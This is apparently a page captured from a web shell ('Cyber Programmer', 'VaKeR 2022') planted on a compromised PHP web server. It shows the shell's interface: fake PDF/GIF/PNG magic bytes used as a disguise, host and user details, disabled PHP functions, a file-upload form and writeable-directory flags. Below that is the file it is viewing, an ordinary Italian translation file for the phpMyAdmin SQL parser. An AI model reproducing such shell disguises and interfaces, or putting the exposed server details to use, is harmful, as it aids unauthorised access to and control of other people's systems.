%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/it/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpmyadmin/sql-parser/locale/it/LC_MESSAGES/sqlparser.po
# Automatically generated <>, 2010.
msgid ""
msgstr ""
"Project-Id-Version: SQL parser 5\n"
"Report-Msgid-Bugs-To: translators@phpmyadmin.net\n"
"POT-Creation-Date: 2023-02-26 22:46+0100\n"
"PO-Revision-Date: 2023-01-26 07:10+0000\n"
"Last-Translator: liviuconcioiu <liviu.concioiu@gmail.com>\n"
"Language-Team: Italian <https://hosted.weblate.org/projects/phpmyadmin/sql-"
"parser/it/>\n"
"Language: it\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 4.16-dev\n"

#: src/Component.php:39 src/Component.php:59
msgid "Not implemented yet."
msgstr "Non ancora implementato."

#: src/Components/AlterOperation.php:415 src/Statement.php:359
msgid ""
"A new statement was found, but no delimiter between it and the previous one."
msgstr ""
"E' stato trovato un nuovo statement, ma non c'è alcun delimitatore tra il "
"nuovo statement e il precedente."

#: src/Components/AlterOperation.php:427
msgid "Missing comma before start of a new alter operation."
msgstr "Virgola assente prima dell'inizio di una nuova operazione alter."

#: src/Components/AlterOperation.php:472
msgid "Unrecognized alter operation."
msgstr "Operazione di modifica non riconosciuta."

#: src/Components/Array2d.php:88
#, php-format
msgid "%1$d values were expected, but found %2$d."
msgstr "Erano attesi %1$d valori, ma ne sono stati trovati %2$d."

#: src/Components/Array2d.php:108
msgid "An opening bracket followed by a set of values was expected."
msgstr "Era attesa una parentesi aperta seguita da un insieme di valori."

#: src/Components/ArrayObj.php:106 src/Components/CreateDefinition.php:233
msgid "An opening bracket was expected."
msgstr "Era attesa una parentesi aperta."

#: src/Components/CaseExpression.php:133 src/Components/CaseExpression.php:161
#: src/Components/CaseExpression.php:172 src/Components/CaseExpression.php:184
#: src/Components/IndexHint.php:134 src/Components/IndexHint.php:164
#: src/Components/LockExpression.php:173 src/Components/LockExpression.php:180
#: src/Components/LockExpression.php:188 src/Statements/DeleteStatement.php:249
#: src/Statements/DeleteStatement.php:268
#: src/Statements/DeleteStatement.php:308
#: src/Statements/DeleteStatement.php:320
#: src/Statements/DeleteStatement.php:346
#: src/Statements/DeleteStatement.php:353
#: src/Statements/InsertStatement.php:189
#: src/Statements/InsertStatement.php:220 src/Statements/LoadStatement.php:265
#: src/Statements/LockStatement.php:85 src/Statements/ReplaceStatement.php:149
#: src/Statements/ReplaceStatement.php:178
msgid "Unexpected keyword."
msgstr "Keyword inaspettata."

#: src/Components/CaseExpression.php:192
msgid "Unexpected end of CASE expression"
msgstr "Inattesa fine dell'espressione CASE"

#: src/Components/CaseExpression.php:212
msgid "Potential duplicate alias of CASE expression."
msgstr "Potenziale alias duplicato dell'espressione CASE."

#: src/Components/CaseExpression.php:225
msgid "An alias expected after AS but got "
msgstr "Atteso un alias dopo AS ma trovato "

#: src/Components/CaseExpression.php:238 src/Components/Expression.php:352
#: src/Components/Expression.php:372 src/Components/Expression.php:424
msgid "An alias was previously found."
msgstr "Un alias è stato trovato precedentemente."

#: src/Components/CaseExpression.php:252
msgid "An alias was expected after AS."
msgstr "Era atteso un alias dopo AS."

#: src/Components/CreateDefinition.php:255
msgid ""
"A symbol name was expected! A reserved keyword can not be used as a column "
"name without backquotes."
msgstr ""
"Era atteso un nome di simbolo! Un termine riservato non può essere usato "
"come nome di un campo senza inserirlo tra backquotes ( ` )."

#: src/Components/CreateDefinition.php:268
msgid "A symbol name was expected!"
msgstr "Era atteso un nome di simbolo!"

#: src/Components/CreateDefinition.php:300
msgid "A comma or a closing bracket was expected."
msgstr "Era attesa una virgola o una parentesi chiusa."

#: src/Components/CreateDefinition.php:313 src/Statements/WithStatement.php:328
msgid "A closing bracket was expected."
msgstr "Era attesa una parentesi chiusa."

#: src/Components/DataType.php:130
msgid "Unrecognized data type."
msgstr "Tipo dati non riconosciuto."

#: src/Components/ExpressionArray.php:106 src/Statements/WithStatement.php:197
msgid "An expression was expected."
msgstr "Era attesa un'espressione."

#: src/Components/Expression.php:257 src/Components/Expression.php:435
msgid "An alias was expected."
msgstr "Era atteso un alias."

#: src/Components/Expression.php:403
msgid "Unexpected dot."
msgstr "Segno di punteggiatura \"punto\" inatteso."

#: src/Components/IndexHint.php:140 src/Components/IndexHint.php:170
#: src/Components/Key.php:259 src/Components/LockExpression.php:161
#: src/Components/SetOperation.php:138 src/Statement.php:258
#: src/Statements/DeleteStatement.php:263
#: src/Statements/DeleteStatement.php:315
#: src/Statements/ExplainStatement.php:161
#: src/Statements/InsertStatement.php:203
#: src/Statements/InsertStatement.php:240 src/Statements/LoadStatement.php:270
#: src/Statements/LoadStatement.php:291 src/Statements/LoadStatement.php:310
#: src/Statements/LockStatement.php:93 src/Statements/LockStatement.php:100
#: src/Statements/PurgeStatement.php:106 src/Statements/PurgeStatement.php:119
#: src/Statements/PurgeStatement.php:140
#: src/Statements/ReplaceStatement.php:163 src/Statements/WithStatement.php:132
msgid "Unexpected token."
msgstr "Token inatteso."

#: src/Components/Limit.php:78 src/Components/Limit.php:105
msgid "An offset was expected."
msgstr "Era atteso un offset."

#: src/Components/LockExpression.php:91 src/Components/LockExpression.php:201
msgid "Unexpected end of LOCK expression."
msgstr "Inattesa fine dell'espressione LOCK."

#: src/Components/OptionsArray.php:146
#, php-format
msgid "This option conflicts with \"%1$s\"."
msgstr "Questa opzione è in conflitto con \"%1$s\"."

#: src/Components/RenameOperation.php:103
msgid "The old name of the table was expected."
msgstr "Era atteso il vecchio nome della tabella."

#: src/Components/RenameOperation.php:109
msgid "Keyword \"TO\" was expected."
msgstr "Era attesa la parola chiave \"TO\"."

#: src/Components/RenameOperation.php:124
msgid "The new name of the table was expected."
msgstr "Era atteso il nuovo nome della tabella."

#: src/Components/RenameOperation.php:140
msgid "A rename operation was expected."
msgstr "Era attesa una operazione di rinomina."

#: src/Components/SetOperation.php:121
msgid "Missing expression."
msgstr "Espressione mancante."

#: src/Lexer.php:274
msgid "Unexpected character."
msgstr "Carattere inatteso."

#: src/Lexer.php:313
msgid "Expected whitespace(s) before delimiter."
msgstr "Erano attesi uno o più spazi bianchi prima del delimitatore."

#: src/Lexer.php:329 src/Lexer.php:348
msgid "Expected delimiter."
msgstr "Era atteso un delimitatore."

#: src/Lexer.php:1004
#, php-format
msgid "Ending quote %1$s was expected."
msgstr "Era atteso il fine quote %1$s."

#: src/Lexer.php:1056
msgid "Variable name was expected."
msgstr "Era atteso un nome di variabile."

#: src/Parser.php:456
msgid "Unexpected beginning of statement."
msgstr "Inizio di statement inatteso."

#: src/Parser.php:499
msgid "Unrecognized statement type."
msgstr "Tipo statement non riconosciuto."

#: src/Parser.php:587
msgid "No transaction was previously started."
msgstr "Non è stata iniziata alcuna transazione in precedenza."

#: src/Statement.php:327
msgid "This type of clause was previously parsed."
msgstr "Questo tipo di clausola è stata esaminata in precedenza."

#: src/Statement.php:398
msgid "Unrecognized keyword."
msgstr "Parola chiave non riconosciuta."

#: src/Statement.php:409
msgid "Keyword at end of statement."
msgstr "Parola chiave alla fine dello statement."

#: src/Statement.php:555
msgid "Unexpected ordering of clauses."
msgstr "Ordinamento di clausole inatteso."

#: src/Statements/CreateStatement.php:549
msgid "The name of the entity was expected."
msgstr "Era atteso il nome dell'entity."

#: src/Statements/CreateStatement.php:598
msgid "A table name was expected."
msgstr "Era atteso un nome di tabella."

#: src/Statements/CreateStatement.php:603
msgid "At least one column definition was expected."
msgstr "Era attesa almeno la definizione di un campo."

#: src/Statements/CreateStatement.php:707
msgid "A \"RETURNS\" keyword was expected."
msgstr "Era attesa una parola chiave \"RETURNS\"."

#: src/Statements/DeleteStatement.php:329
msgid "This type of clause is not valid in Multi-table queries."
msgstr "Questo tipo di clausola non è valida nelle query Multi-tabella."

#: src/Statements/LockStatement.php:120
msgid "Unexpected end of LOCK statement."
msgstr "Inattesa fine dello statement LOCK."

#: src/Statements/PurgeStatement.php:138
msgid "Unexpected keyword"
msgstr "Keyword inaspettata"

#: src/Statements/WithStatement.php:118
msgid "The name of the CTE was expected."
msgstr "Era atteso il nome della CTE."

#: src/Statements/WithStatement.php:137
msgid "AS keyword was expected."
msgstr "Era attesa la parola chiave AS."

#: src/Statements/WithStatement.php:149
msgid "Subquery of the CTE was expected."
msgstr "Era attesa una subquery della CTE."

#: src/Statements/WithStatement.php:266
msgid "Unexpected end of the WITH CTE."
msgstr "Inattesa fine dell'espressione WITH CTE."

#~ msgid "Unexpected end of Lock expression."
#~ msgstr "Inattesa fine dell'espressione LOCK."

#~ msgid "error #1"
#~ msgstr "errore #1"

#~ msgid "strict error"
#~ msgstr "errore di tipo strict"

VaKeR 2022